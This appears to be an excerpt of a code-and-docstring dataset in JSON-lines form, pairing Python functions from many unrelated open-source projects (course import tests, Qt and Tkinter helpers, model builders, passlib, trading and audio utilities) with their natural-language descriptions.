response.forms['edit_course_yaml']\n response = self.submit(compute_form)\n assert_equals(response.status_int, 302)\n assert_contains(\n 'dashboard?action=edit_settings&from_action=settings_advanced&'\n 'key=%2Fcourse.yaml',\n response.location)\n response = self.get(response.location)\n assert_contains('rest/files/item?key=%2Fcourse.yaml', response.body)\n\n response = self.get('rest/files/item?key=%2Fcourse.yaml')\n assert_equals(response.status_int, 200)\n json_dict = transforms.loads(\n transforms.loads(response.body)['payload'])\n assert '/course.yaml' == json_dict['key']\n assert 'text/utf-8' == json_dict['encoding']\n assert (open(os.path.join(\n appengine_config.BUNDLE_ROOT, 'course.yaml')).read(\n ) == json_dict['content'])\n", "nl": "Test importing of the course.# Setup courses.sites.setup_courses('course:/test::ns_test, course:/:/')self.namespace = 'ns_test'self.base = '/test'config.Registry.test_overrides[models.CAN_USE_MEMCACHE.name] = True# Format import payload and URL.payload_dict = {}payload_dict['course'] = 'course:/:/'request = {}request['payload'] = transforms.dumps(payload_dict)import_put_url = ('rest/course/import?%s' % urllib.urlencode({'request': transforms.dumps(request)}))# Check non-logged user has no rights.response = self.put(import_put_url, {}, expect_errors=True)assert_equals(404, response.status_int)# Login as admin.email = 'test_course_import@google.com'name = 'Test Course Import'actions.login(email, is_admin=True)# Check course is empty.response = self.get('dashboard')assert_equals(200, response.status_int)assert_does_not_contain('Filter image results by color', response.body)# Import sample course.request['xsrf_token'] = XsrfTokenManager.create_xsrf_token('import-course')import_put_url = ('rest/course/import?%s' % urllib.urlencode({'request': transforms.dumps(request)}))response = self.put(import_put_url, {})assert_equals(200, response.status_int)assert_contains('Importing.', response.body)self.execute_all_deferred_tasks()# Check course is not empty.response = self.get('dashboard')assert_contains('Filter image results by color', response.body)# Check assessment is copied.response = self.get('assessment?name=35')assert_equals(200, response.status_int)assert_contains('Humane Society website', response.body)# Check activity component is hiddenresponse = self.get('dashboard?key=5&action=edit_lesson')assert_equals(200, response.status_int)assert 'excludedCustomTags\\\\\\\": [\\\\\\\"gcb-activity' in response.body# Check activity is copied.response = self.get('unit?unit=57&lesson=63')assert_equals(200, response.status_int)assert_contains('explore ways to keep yourself updated', response.body)unit_2_title = 'Unit 2 - Interpreting results'lesson_2_1_title = 'When search results suggest something new'lesson_2_2_title = 'Thinking more deeply about your search'# Check units and lessons are indexed correctly.response = actions.register(self, name)assert ('http://localhost''/test/course''#registration_confirmation' == response.location)response = self.get('course')assert_contains(unit_2_title, response.body)# Unit page.response = self.get('unit?unit=14')# A unit title.assert_contains(unit_2_title, response.body)# First child lesson without link.assert_contains(lesson_2_1_title, response.body)# Second child lesson with link.assert_contains(lesson_2_2_title, response.body)# Breadcrumbs.assert_contains_all_of(['Unit 2', 'Lesson 1'], response.body)# Unit page.response = self.get('unit?unit=14&lesson=16')# A unit title.assert_contains(unit_2_title, response.body)# An activity title.assert_contains('Activity', response.body)# First child lesson without link.assert_contains(lesson_2_1_title, response.body)# Second child lesson with link.assert_contains(lesson_2_2_title, response.body)# Breadcrumbs.assert_contains_all_of(['Unit 2','' % jinja2_utils.escape('unit?unit=14&lesson=15'),'' % jinja2_utils.escape('unit?unit=14&lesson=17')],response.body)assert '' % (jinja2_utils.escape('unit?unit=14&lesson=16')) not in response.body# Clean up.sites.reset_courses()config.Registry.test_overrides = {}def test_get_put_file(self):Test that one can put/get file via REST interface."} {"code": "defaults to full.\n\n Values:\n authenticatedRead: Project team owners get OWNER access, and\n allAuthenticatedUsers get READER access.\n private: Project team owners get OWNER access.\n projectPrivate: Project team members get access according to their\n roles.\n publicRead: Project team owners get OWNER access, and allUsers get\n READER access.\n publicReadWrite: Project team owners get OWNER access, and allUsers get\n WRITER access.\n \"\"\"", "nl": "class PredefinedAclValueValuesEnum(_messages.Enum):rApply a predefined set of access controls to this bucket."} {"code": "def winfo_screen(self):\n of this widget.\"\"\"", "nl": "Return the screen name of this widget.return self.tk.call('winfo', 'screen', self._w)def winfo_screencells(self):Return the number of the cells in the colormap of the screen"} {"code": "def __setattr__(cls, name, value):\n member_map = cls.__dict__.get('_member_map_', {})\n if name in member_map:\n raise AttributeError('Cannot reassign members.')\n super(EnumMeta, cls).__setattr__(name, value)\n", "nl": "Block attempts to reassign Enum members.A simple assignment to the class namespace only changes one of theseveral possible ways to get an Enum member from the Enum class,resulting in an inconsistent Enumeration."} {"code": "def buttons(self):\n return self._buttons\n", "nl": "Return the buttons currently pressed on the mouse.(see QGraphicsSceneMouseEvent::buttons in the Qt documentation)"} {"code": "def refresh_data(self):\n self.send_command(cmd=DEFS.CMD_REFRESHDATA)\n self.recv_reply()", "nl": "Refresh data on device (fingerprints, user info and settings).:return: None."} {"code": "def _clip_pad(tensor, pad_shape):\n H, W = tensor.shape[2:]\n h, w = pad_shape\n\n if h < H or w < W:\n tensor = tensor[:, :, :h, :w].copy()\n\n return tensor\n\n\n@mx.operator.register(\"proposal\")\nclass ProposalProp(mx.operator.CustomOpProp):", "nl": "Clip boxes of the pad area.:param tensor: [n, c, H, W]:param pad_shape: [h, w]:return: [n, c, h, w]"} {"code": "def _normalize_companyID(self, companyID):\n If not in the database, try an Exact Primary Title search on IMDb;\n return None if it's unable to get the imdbID.\n \"\"\"", "nl": "Normalize the given companyID.try:return int(companyID)except (ValueError, OverflowError):raise IMDbError('companyID \"%s\" can\\'t be converted to integer'% companyID)def get_imdbMovieID(self, movieID):Translate a movieID in an imdbID."} {"code": "def count(self):\n return self._price\n\n @price.setter", "nl": " Count or amount of the items. return self._count@count.setterdef count(self, value):self._count = Decimal(value)@propertydef price(self): Price for unit. "} {"code": "def write_tasks():\n\n tasks = read_csv(file=TASKS_CSV)\n tasks.sort(key=itemgetter('completed_by'))\n results = {completed_by: list(items) for completed_by, items in groupby(tasks, key=itemgetter('completed_by'))}\n write_json(file=TASKS_JSON, data=results)\n\n", "nl": "Write formatted task JSON file to target directory"} {"code": "def parse_args(args=None, namespace=None):\n parser = argparse.ArgumentParser(\n description='Evaluate DSBN Network. ' + \\\n 'target label:0, sorce label:1,2,... \\n' + \\\n '[digits: svhn, mnist, usps || ' + \\\n 'office: amazon, webcam, dslr || ' + \\\n 'office-home: Art, Clipart, Product, RealWorld || ' + \\\n 'imageCLEF: caltech, pascal, imagenet || ' + \\\n 'visDA: train, validation]')\n\n parser.add_argument('--model-name',\n help=\"model name ['lenet', 'alexnet', 'resnet50', 'resnet50dsbn']\",", "nl": "Parse input arguments"} {"code": "def _file_not_found_exc(err):\n _LOGGER.info('Schema validation error: %r', err)\n resp = {'message': str(err),\n 'status': http_client.BAD_REQUEST}\n return resp, http_client.BAD_REQUEST, _cors_headers()\n\n @api.errorhandler(exc.InvalidInputError)", "nl": "Nodeinfo/local module exception handler._LOGGER.exception('File not found error: %r', err)resp = {'message': str(err),'status': http_client.NOT_FOUND}return resp, http_client.NOT_FOUND, _cors_headers()@api.errorhandler(jsonschema.exceptions.ValidationError)def _json_validation_error_exc(err):JSON Schema Validation error exception handler."} {"code": "def ForceValue(self, item):\n iec_path = item.GetVariable()\n iec_type = self.ParentWindow.GetDataType(iec_path)\n if iec_type is None:\n return\n\n dialog = ForceVariableDialog(self, iec_type, str(item.GetValue()))\n if dialog.ShowModal() == wx.ID_OK:\n self.ParentWindow.ForceDataValue(iec_path.upper(),\n dialog.GetValue())\n", "nl": "Force value of item given@param item: Item to force value"} {"code": "def __init__(self, input_nc, output_nc, n_residual_blocks=9, dim_lst=None, alpha=1, quant=False):\n\n super(Generator, self).__init__()\n if quant:\n print('!!! Quantized model !!!')\n\n if quant:\n conv_class = Conv2dQuant\n transconv_class = ConvTrans2dQuant\n else:\n conv_class = nn.Conv2d\n transconv_class = nn.ConvTranspose2d\n\n if dim_lst is None:\n dim_lst = [64, 128] + [256]*n_residual_blocks + [128, 64]\n if alpha is not 1:\n dim_lst = (np.array(dim_lst) * alpha).astype(int).tolist()\n print(dim_lst)\n assert len(dim_lst) == 4 + n_residual_blocks\n\n model = [ nn.ReflectionPad2d(3),\n conv_class(input_nc, dim_lst[0], 7),\n nn.InstanceNorm2d(dim_lst[0], affine=True),\n nn.ReLU(inplace=True) ]\n\n if conv_class is Conv2dQuant:\n model[1].input_quant = False\n\n model += [ conv_class(dim_lst[0], dim_lst[1], 3, stride=2, padding=1),\n nn.InstanceNorm2d(dim_lst[1], affine=True),\n nn.ReLU(inplace=True) ]\n\n model += [ conv_class(dim_lst[1], int(256*alpha), 3, stride=2, padding=1),\n nn.InstanceNorm2d(int(256*alpha), affine=False),\n nn.ReLU(inplace=True) ]\n\n for i in range(n_residual_blocks):\n model += [ResidualBlock(in_features=int(256*alpha), mid_features=dim_lst[2+i], conv_class=conv_class)]\n\n model += [ transconv_class(int(256*alpha), dim_lst[2+n_residual_blocks], 3, stride=2, padding=1, output_padding=1),\n nn.InstanceNorm2d(dim_lst[2+n_residual_blocks], affine=True),\n nn.ReLU(inplace=True) ]\n model += [ transconv_class(dim_lst[2+n_residual_blocks], dim_lst[2+n_residual_blocks+1], 3, stride=2, padding=1, output_padding=1),\n nn.InstanceNorm2d(dim_lst[2+n_residual_blocks+1], affine=True),\n nn.ReLU(inplace=True) ]\n\n model += [ nn.ReflectionPad2d(3),\n conv_class(dim_lst[2+n_residual_blocks+1], output_nc, 7),\n nn.Tanh() ]\n\n self.model = nn.Sequential(*model)\n", "nl": "Args:dim_lst: channel dimensions. [int]alpha: channel width factor. float."} {"code": "def root(self):\n rc, __out = self.call(\"show\", raises=False)\n if rc == 0:\n return\n self.init()\n self.root.join(\".gitignore\").write(\"\")\n self.add(\".gitignore\")\n self.commit(\"--message\", \"initial commit\")\n if branch != \"master\":\n self.checkout(\"-b\", branch)\n", "nl": " Root return py.path.local(self.repo) # pylint:disable=no-memberdef initialize(self, branch=\"master\"): Make sure there is at least one commit and one branch "} {"code": "def convert_and_trim(afile, fs, trim):\n tmp = tempfile.NamedTemporaryFile(mode=\"r+b\", prefix=\"offset_\", suffix=\".wav\")\n tmp_name = tmp.name\n tmp.close()\n psox = Popen(\n [\n \"ffmpeg\",\n \"-loglevel\",\n \"panic\",\n \"-i\",\n afile,\n \"-ac\",\n \"1\",\n \"-ar\",\n str(fs),\n \"-ss\",\n \"0\",\n \"-t\",\n str(trim),\n \"-acodec\",\n \"pcm_s16le\",\n tmp_name,\n ],\n stderr=PIPE,\n )\n psox.communicate()\n if not psox.returncode == 0:\n raise Exception(\"FFMpeg failed\")\n return tmp_name", "nl": "Converts the input media to a temporary 16-bit WAV file and trims it to length.Parameters----------afile: stringThe input media file to process. It must contain at least one audio track.fs: intThe sample rate that the audio should be converted to during the conversiontrim: floatThe length to which the output audio should be trimmed, in seconds. (Audio beyond this point will be discarded.)Returns-------A string containing the path of the processed media file. You should delete this file after use."} {"code": "def from_string(cls, source, section=\"passlib\", encoding=\"utf-8\"):\n warn(_preamble +\n \"Instead of ``CryptPolicy.from_string(source)``, \"\n \"use ``CryptContext.from_string(source)`` or \"\n \"``context.load(source)`` for an existing CryptContext.\",\n DeprecationWarning, stacklevel=2)\n return cls(_internal_context=CryptContext.from_string(source, section,\n encoding))\n\n @classmethod", "nl": "create a CryptPolicy instance from a string... deprecated:: 1.6Creating a new CryptContext from a string, which was previously done via``CryptContext(policy=CryptPolicy.from_string(data))``, can now bedone via ``CryptContext.from_string(data)``.See :meth:`CryptContext.from_string` for details.Updating an existing CryptContext from a string, which was previously done``context.policy = CryptPolicy.from_string(data)``, can now bedone via ``context.load(data)``.See :meth:`CryptContext.load` for details."} {"code": "def default(self, o):\n raise TypeError(repr(o) + \" is not JSON serializable\")\n", "nl": "Implement this method in a subclass such that it returnsa serializable object for ``o``, or calls the base implementation(to raise a ``TypeError``).For example, to support arbitrary iterators, you couldimplement default like this::def default(self, o):try:iterable = iter(o)except TypeError:passelse:return list(iterable)return JSONEncoder.default(self, o)"} {"code": "def loadRes(coco, anns):\n res = COCO()\n res.dataset[\"images\"] = [img for img in coco.dataset[\"images\"]]\n\n assert type(anns) == list, \"results in not an array of objects\"\n annsImgIds = [ann[\"image_id\"] for ann in anns]\n assert set(annsImgIds) == (\n set(annsImgIds) & set(coco.getImgIds())\n ), \"Results do not correspond to current coco set\"\n if \"caption\" in anns[0]:\n imgIds = set([img[\"id\"] for img in res.dataset[\"images\"]]) & set(\n [ann[\"image_id\"] for ann in anns]\n )\n res.dataset[\"images\"] = [\n img for img in res.dataset[\"images\"] if img[\"id\"] in imgIds\n ]\n for id, ann in enumerate(anns):\n ann[\"id\"] = id + 1\n elif \"bbox\" in anns[0] and not anns[0][\"bbox\"] == []:\n res.dataset[\"categories\"] = copy.deepcopy(coco.dataset[\"categories\"])\n for id, ann in enumerate(anns):\n bb = ann[\"bbox\"]\n x1, x2, y1, y2 = [bb[0], bb[0] + bb[2], bb[1], bb[1] + bb[3]]\n if \"segmentation\" not in ann:\n ann[\"segmentation\"] = [[x1, y1, x1, y2, x2, y2, x2, y1]]\n ann[\"area\"] = bb[2] * bb[3]\n ann[\"id\"] = id + 1\n ann[\"iscrowd\"] = 0\n elif \"segmentation\" in anns[0]:\n res.dataset[\"categories\"] = copy.deepcopy(coco.dataset[\"categories\"])\n for id, ann in enumerate(anns):\n ann[\"area\"] = maskUtils.area(ann[\"segmentation\"])\n if \"bbox\" not in ann:\n ann[\"bbox\"] = maskUtils.toBbox(ann[\"segmentation\"])\n ann[\"id\"] = id + 1\n ann[\"iscrowd\"] = 0\n elif \"keypoints\" in anns[0]:\n res.dataset[\"categories\"] = copy.deepcopy(coco.dataset[\"categories\"])\n for id, ann in enumerate(anns):\n s = ann[\"keypoints\"]\n x = s[0::3]\n y = s[1::3]\n x0, x1, y0, y1 = np.min(x), np.max(x), np.min(y), np.max(y)\n ann[\"area\"] = (x1 - x0) * (y1 - y0)\n ann[\"id\"] = id + 1\n ann[\"bbox\"] = [x0, y0, x1 - x0, y1 - y0]\n\n res.dataset[\"annotations\"] = anns\n createIndex(res)\n return res", "nl": "Load result file and return a result api object.``anns`` is a list of dicts containing the resultsIn the original pycoco api, a results file is passed in, whereas in thiscase we bypass the json file loading and ask for a list of dictionaryannotations to be passed directly inReturns:res (obj): result api object."} {"code": "def test_test_check_setting_metrics(self):\n resp = self.successResultOf(request(self, self.root, b\"PUT\",\n '{0}/entities/{1}/checks/test_responses/{2}'.format(\n self.ctl_uri, self.entity_id, 'remote.http'),\n json.dumps([{'metrics': {'duration': {'data': 123}},\n 'monitoring_zone_id': 'mzdfw'}]).encode(\"utf-8\")))\n self.assertEquals(resp.code, 204)\n\n (resp, data) = self.successResultOf(\n json_request(self, self.root, b\"POST\",\n self.uri + '/entities/' + self.entity_id + '/test-check',\n json.dumps({'type': 'remote.http',\n 'monitoring_zones_poll': ['mzdfw']}).encode(\"utf-8\")))\n self.assertEquals(resp.code, 200)\n self.assertEquals(123, data[0]['metrics']['duration']['data'])\n\n resp = self.successResultOf(request(self, self.root, b\"PUT\",\n '{0}/entities/{1}/checks/test_responses/{2}'.format(\n self.ctl_uri, self.entity_id, 'remote.http'),\n json.dumps([{'metrics': {'duration': {'data': 456}},\n 'monitoring_zone_id': 'mzdfw'}]).encode(\"utf-8\")))\n self.assertEquals(resp.code, 204)\n\n (resp, data) = self.successResultOf(\n json_request(self, self.root, b\"POST\",\n self.uri + '/entities/' + self.entity_id + '/test-check',\n json.dumps({'type': 'remote.http',\n 'monitoring_zones_poll': ['mzdfw']}).encode(\"utf-8\")))\n self.assertEquals(resp.code, 200)\n self.assertEquals(456, data[0]['metrics']['duration']['data'])\n", "nl": "The test-check control API can set metrics.Subsequent requests to set the same metrics on the same check typefor the same entity will override."} {"code": "def test_raiseOnBadAttributeAccess(self):\n sentence = self.sentenceClass({\"BOGUS\": None})\n self.assertRaises(AttributeError, getattr, sentence, \"BOGUS\")\n\n\n sentenceType = \"tummies\"\n reprTemplate = \"<%s (%s) {%s}>\"\n\n", "nl": "Accessing bogus attributes raises C{AttributeError}, *even*when that attribute actually is in the sentence data."} {"code": "def place_order(self, symbol, quantity, price):\n if price < 0:\n raise Exception(\"Price must be positive.\")\n\n endpoint = \"order\"\n clOrdID = uuid.uuid4()\n postdict = {\n 'symbol': symbol,\n 'quantity': quantity,\n 'price': price,\n 'clOrdID': clOrdID,\n 'execInst': 'ParticipateDoNotInitiate'\n }\n self.logger.debug(\"place order. post dict %s\"%str(postdict))\n return self._query_bitmex(path=endpoint, postdict=postdict, verb=\"POST\")\n\n @authentication_required", "nl": "Place an order.if price < 0:raise Exception(\"Price must be positive.\")endpoint = \"order\"# Generate a unique clOrdID with our prefix so we can identify it.#AttributeError: 'bytes' object has no attribute 'encode'#clOrdID = self.orderIDPrefix + uuid.uuid4().bytes.encode('base64').rstrip('=\\n')clOrdID = uuid.uuid4()postdict = {'symbol': symbol,'quantity': quantity,'price': price,'clOrdID': clOrdID}self.logger.debug(\"place order. post dict %s\"%str(postdict))return self._query_bitmex(path=endpoint, postdict=postdict, verb=\"POST\")@authentication_requireddef place_order_post(self, symbol, quantity, price):Place an order with post only"} {"code": "def user_check_password(self, user, password):\n if password is None:\n return False\n hash = user.password\n if not self.is_password_usable(hash):\n return False\n cat = self.get_user_category(user)\n ok, new_hash = self.context.verify_and_update(password, hash,\n category=cat)\n if ok and new_hash is not None:\n user.password = new_hash\n user.save()\n return ok\n", "nl": "Passlib replacement for User.check_password()"} {"code": "def input_fn(params):\n tokenizer = tokenization.get_tokenizer(\n FLAGS.tokenizer_type, FLAGS.vocab_file, do_lower_case=FLAGS.do_lower_case)", "nl": "The actual input function.batch_size = params[\"batch_size\"]# For training, we want a lot of parallel reading and shuffling.d = tf.data.Dataset.list_files(input_file, shuffle=True)d = d.apply(tf.contrib.data.parallel_interleave(tf.data.TFRecordDataset, cycle_length=50, sloppy=is_training))if is_training:d = d.repeat()d = d.shuffle(buffer_size=100)d = d.apply(tf.contrib.data.map_and_batch(lambda record: _decode_record(record, name_to_features),batch_size=batch_size,drop_remainder=drop_remainder))return dreturn input_fnRawResult = collections.namedtuple(\"RawResult\", [\"unique_id\", \"example_index\", \"start_logits\", \"end_logits\"])PrelimPrediction = collections.namedtuple(\"PrelimPrediction\", [\"feature_index\", \"start_index\", \"end_index\", \"start_logit\", \"end_logit\",\"doc_span_index\"])NbestPrediction = collections.namedtuple(\"NbestPrediction\",[\"text\", \"start_logit\", \"end_logit\", \"example_index\", \"doc_span_index\"])def make_predictions(all_examples, all_features, all_results):Create prediction dict from results."} {"code": "def rc_params(ignore_files=False):\n Return a context manager for managing rc settings.\n\n Parameters\n ----------\n rc : dict, optional\n Mapping containing the rcParams to modify temporally.\n fname : str, optional\n Filename of the file containing the rcParams to use inside the rc_context.\n\n Examples\n --------\n This allows one to do::\n\n with az.rc_context(fname='pystan.rc'):\n idata = az.load_arviz_data(\"radon\")\n az.plot_posterior(idata, var_names=[\"gamma\"])\n\n The plot would have settings from 'screen.rc'\n\n A dictionary can also be passed to the context manager::\n\n with az.rc_context(rc={'plot.max_subplots': None}, fname='pystan.rc'):\n idata = az.load_arviz_data(\"radon\")\n az.plot_posterior(idata, var_names=[\"gamma\"])\n\n The 'rc' dictionary takes precedence over the settings loaded from\n 'fname'. Passing a dictionary only is also valid.\n \"\"\"", "nl": "Read and validate arvizrc file.fname = None if ignore_files else get_arviz_rcfile()defaults = RcParams([(key, default) for key, (default, _) in defaultParams.items()])if fname is not None:file_defaults = read_rcfile(fname)defaults.update(file_defaults)return defaultsrcParams = rc_params() # pylint: disable=invalid-nameclass rc_context: # pylint: disable=invalid-name"} {"code": "def test_list_inner_join(session):\n columns = [ColumnDT(User.id)]\n\n query = session.query()\n\n params = create_dt_params(columns, length=-1)\n rowTable = DataTables(params, query, columns)\n res = rowTable.output_result()\n\n assert len(res[\"data\"]) == 50\n\n\n@pytest.fixture(scope=\"function\")", "nl": "Test if it returns a list of users with address.columns = [ColumnDT(User.id)]query = session.query().select_from(User).join(Address)params = create_dt_params(columns)rowTable = DataTables(params, query, columns)res = rowTable.output_result()assert len(res[\"data\"]) == 3assert res[\"recordsTotal\"] == \"3\"assert res[\"recordsFiltered\"] == \"3\"def test_list_total_length(session):Test if it returns the total list of users."} {"code": "def connect(self, dbapi_con, con_record):\n", "nl": "Called once for each new DB-API connection or Pool's ``creator()``.dbapi_conA newly connected raw DB-API connection (not a SQLAlchemy``Connection`` wrapper).con_recordThe ``_ConnectionRecord`` that persistently manages the connection"} {"code": "def run_model(config, run_config_path=None):\n\n setup(config, run_config_path)\n\n log_rank_0_info(logger, \"Loading entity symbols...\")\n entity_symbols = EntitySymbols.load_from_cache(\n load_dir=os.path.join(\n config.data_config.entity_dir, config.data_config.entity_map_dir\n ),\n alias_cand_map_dir=config.data_config.alias_cand_map,\n alias_idx_dir=config.data_config.alias_idx_map,\n )\n tasks = [CANDGEN_TASK]\n\n data_splits = [TRAIN_SPLIT, DEV_SPLIT, TEST_SPLIT]\n slice_splits = [DEV_SPLIT, TEST_SPLIT]\n\n context_tokenizer = AutoTokenizer.from_pretrained(\n config.data_config.word_embedding.bert_model\n )\n data_utils.add_special_tokens(context_tokenizer)\n\n dataloaders = get_dataloaders(\n config,\n tasks,\n data_splits,\n entity_symbols,\n context_tokenizer,\n )\n slice_datasets = get_slicedatasets(config, slice_splits, entity_symbols)\n\n configure_optimizer()\n\n log_rank_0_info(logger, \"Starting Bootleg Model\")\n model_name = \"Bootleg\"\n model = EmmentalModel(name=model_name)\n\n model.add_task(\n candgen_task.create_task(\n config,\n len(context_tokenizer),\n slice_datasets,\n )\n )\n log_rank_0_debug(logger, \"PARAMS WITH GRAD\\n\" + \"=\" * 30)\n total_params = count_parameters(model, requires_grad=True, logger=logger)\n log_rank_0_info(logger, f\"===> Total Params With Grad: {total_params}\")\n log_rank_0_debug(logger, \"PARAMS WITHOUT GRAD\\n\" + \"=\" * 30)\n total_params = count_parameters(model, requires_grad=False, logger=logger)\n log_rank_0_info(logger, f\"===> Total Params Without Grad: {total_params}\")\n\n if config[\"model_config\"][\"model_path\"] is not None:\n model.load(config[\"model_config\"][\"model_path\"])\n\n emmental_learner = EmmentalLearner()\n emmental_learner._set_optimizer(model)\n if config.learner_config.local_rank in [0, -1]:\n model.save(f\"{emmental.Meta.log_path}/checkpoint_0.0.model.pth\")\n emmental_learner.learn(model, dataloaders)\n if config.learner_config.local_rank in [0, -1]:\n model.save(f\"{emmental.Meta.log_path}/last_model.pth\")\n\n if config.learner_config.local_rank in [0, -1]:\n scores = model.score(dataloaders[1:])\n log_rank_0_info(logger, f\"Saving metrics to {emmental.Meta.log_path}\")\n log_rank_0_info(logger, f\"Metrics: {scores}\")\n scores[\"log_path\"] = emmental.Meta.log_path\n write_to_file(f\"{emmental.Meta.log_path}/train_metrics.txt\", scores)\n else:\n scores = {}\n return scores\n\n\nif __name__ == \"__main__\":\n config, run_config_path = parse_cmdline_args()\n run_model(config, run_config_path)", "nl": "Main run method for Emmental Bootleg models.Args:config: parsed model configrun_config_path: original config path (for saving)Returns:"} {"code": "def filter_(self, func):\n return Aiter(A.itertools.takewhile(func, self))\n", "nl": " Lazy filter return Afilter(func, self)def takewhile_(self, func): Takes the longest prefix of elements that satisfy the given predicate. "} {"code": "def locate(self, ns):\n if self.container is not None:\n return self.container.locate(ns)\n else:\n return None\n", "nl": "Find a schema by namespace. Only the URI portion ofthe namespace is compared to each schema's I{targetNamespace}.The request is passed to the container.@param ns: A namespace.@type ns: (prefix,URI)@return: The schema matching the namesapce, else None.@rtype: L{Schema}"} {"code": "def table_data(self, index):\n if index.isValid() and index.row() < self.table_model.rowCount():\n source_index = self.table_model.mapToSource(index)\n identity_col = self.table_model.sourceModel().columns_ids.index('identity')\n identity_index = self.table_model.sourceModel().index(source_index.row(), identity_col)\n identity = self.table_model.sourceModel().data(identity_index, Qt.DisplayRole)\n return True, identity\n return False, None\n", "nl": "Get table data at given point:param PyQt5.QtCore.QModelIndex index::return: a tuple containing information of the table"} {"code": "def RelaxNGValidate(self, rng):\n ret = libxml2mod.xmlTextReaderRelaxNGValidate(self._o, rng)\n return ret\n", "nl": "Use RelaxNG schema to validate the document as it isprocessed. Activation is only possible before the firstRead(). If @rng is None, then RelaxNG schema validation isdeactivated. "} {"code": "def get_label_to_names():\n\n @abstractmethod", "nl": "Returns a label to names dictionary object.Returns:A dict where keys are label numbers andvalues are the corresponding names."} {"code": "def auto_authorize(self):\n return self.roster.auto_authorize\n\n @auto_authorize.setter", "nl": "Auto accept or deny subscription requests.If ``True``, auto accept subscription requests.If ``False``, auto deny subscription requests.If ``None``, don't automatically respond."} {"code": "def dispatched_one_arg(array):\n return 'original'\n\n\nclass TestGetImplementingArgs(object):\n", "nl": "Docstring.return 'original'@array_function_dispatch(lambda array1, array2: (array1, array2))def dispatched_two_arg(array1, array2):Docstring."} {"code": "def __init__(self, parent=None):\n QtWidgets.QDialog.__init__(self, parent=parent)\n self.setWindowTitle('About InVEST')\n self.setLayout(QtWidgets.QVBoxLayout())\n label_text = textwrap.dedent(\n \"\"\"\n version=natcap.invest.__version__))\n\n label_text += \"
\"\n for lib_name, lib_license, lib_homepage in [\n ('PyInstaller', 'GPL', 'http://pyinstaller.org'),\n ('GDAL', 'MIT and others', 'http://gdal.org'),\n ('numpy', 'BSD', 'http://numpy.org'),\n ('pyamg', 'BSD', 'http://github.com/pyamg/pyamg'),\n ('pygeoprocessing', 'BSD',\n 'https://github.com/natcap/pygeoprocessing'),\n ('PyQt', 'GPL',\n 'https://riverbankcomputing.com/software/pyqt/intro'),\n ('rtree', 'MIT', 'https://github.com/Toblerity/rtree'),\n ('scipy', 'BSD', 'http://www.scipy.org/'),\n ('shapely', 'BSD', 'http://github.com/Toblerity/Shapely')]:\n label_text += (\n ''\n ''\n ''\n '').format(\n project=lib_name,\n license=(\n ''\n '{license}').format(project=lib_name,\n license=lib_license),\n homepage='{0}'.format(lib_homepage))\n\n label_text += \"
{project} {license} {homepage}
\"\n label_text += textwrap.dedent(\n \"\"\"\n\n self.label = QtWidgets.QLabel(label_text)\n self.label.setTextFormat(QtCore.Qt.RichText)\n self.label.setOpenExternalLinks(True)\n self.layout().addWidget(self.label)\n\n self.button_box = QtWidgets.QDialogButtonBox()\n self.accept_button = QtWidgets.QPushButton('OK')\n self.button_box.addButton(\n self.accept_button,\n QtWidgets.QDialogButtonBox.AcceptRole)\n self.layout().addWidget(self.button_box)\n self.accept_button.clicked.connect(self.close)\n\n\nclass LocalDocsMissingDialog(QtWidgets.QMessageBox):\n \"\"\"A dialog to explain that local documentation can't be found.\"\"\"", "nl": "Initialize the AboutDialog.Args:parent=None (QWidget or None): The parent of the dialog. None ifno parent."} {"code": "def test_get_loans():\n\n assert isinstance(polo.get_loans_depth(\"eth\"), dict)\n\n", "nl": "test get_loansassert isinstance(polo.get_loans(\"eth\"), dict)def test_get_loans_depth():test get_loans_depth"} {"code": "def test_bind_external(external_binding):\n authzid = cfg[\"EXTERNALAUTH\"][\"authzid\"]\n with external_binding(authzid) as conn:\n assert cfg[\"EXTERNALAUTH\"][\"dn\"] == conn.whoami()\n\n", "nl": "Test EXTERNAL connection.with external_binding() as conn:assert \"anonymous\" != conn.whoami()def test_bind_external_with_authzid(external_binding, cfg):Test EXTERNAL connection with authorization ID."} {"code": "def test_starttime_endtime_option(self):\n t1 = UTCDateTime(2017, 8, 9, 16, 0, 15)\n t2 = UTCDateTime(2017, 8, 9, 16, 0, 45)\n\n st = rc._read_rg16(THREE_CHAN_FCNT)\n st1 = rc._read_rg16(THREE_CHAN_FCNT, starttime=t1, endtime=t2)\n\n self.assertEqual(len(st1), len(st))\n for tr, tr1 in zip(st, st1):\n self.assertEqual(tr.stats.starttime, tr1.stats.starttime)\n self.assertEqual(tr.stats.endtime, tr1.stats.endtime)\n", "nl": "Test the options starttime and endtime"} {"code": "def __init__(self, k_min, k_max, canonical_scale=224, canonical_level=4, eps=1e-6):\n self.k_min = k_min\n self.k_max = k_max\n self.s0 = canonical_scale\n self.lvl0 = canonical_level\n self.eps = eps\n", "nl": "Arguments:k_min (int)k_max (int)canonical_scale (int)canonical_level (int)eps (float)"} {"code": "def ctrl_c(shutdown_event):", "nl": "Catch Ctrl-C key sequence and set a SHUTDOWN_EVENT for our threadedoperations"} {"code": "def disable_digital_reporting(self, pin):\n port = pin // 8\n command = [self._command_handler.REPORT_DIGITAL + port, self.REPORTING_DISABLE]\n self._command_handler.send_command(command)\n\n", "nl": "Disables digital reporting. By turning reporting off for this pin, reportingis disabled for all 8 bits in the \"port\" -:param pin: Pin and all pins for this port:return: No return value"} {"code": "def run(self, run_fit_model=True):\n\n if run_fit_model:\n self.fit_model(self.img, self.voxelsize, self.seeds)\n\n self._start_time = time.time()\n if self.segparams[\"method\"].lower() in (\"graphcut\", \"gc\"):\n self.__single_scale_gc_run()\n elif self.segparams[\"method\"].lower() in (\n \"multiscale_graphcut\",\n \"multiscale_gc\",\n \"msgc\",\n \"msgc_lo2hi\",\n \"lo2hi\",\n \"multiscale_graphcut_lo2hi\",\n ):\n logger.debug(\"performing multiscale Graph-Cut lo2hi\")\n self.__multiscale_gc_lo2hi_run()\n elif self.segparams[\"method\"].lower() in (\n \"msgc_hi2lo\",\n \"hi2lo\",\n \"multiscale_graphcut_hi2lo\",\n ):\n logger.debug(\"performing multiscale Graph-Cut hi2lo\")\n self.__multiscale_gc_hi2lo_run()\n else:\n logger.error(\"Unknown segmentation method: \" + self.segparams[\"method\"])\n", "nl": "Run the Graph Cut segmentation according to preset parameters.:param run_fit_model: Allow to skip model fit when the model is prepared before:return:"} {"code": "def __init__(self, protocol_tag, virsh_instance=base.virsh):\n super(UntypedDeviceBase, self).__init__(virsh_instance=virsh_instance)\n self['protocol_tag'] = protocol_tag\n self.xml = u\"<%s/>\" % protocol_tag\n", "nl": "Initialize untyped filter rule instance's basic 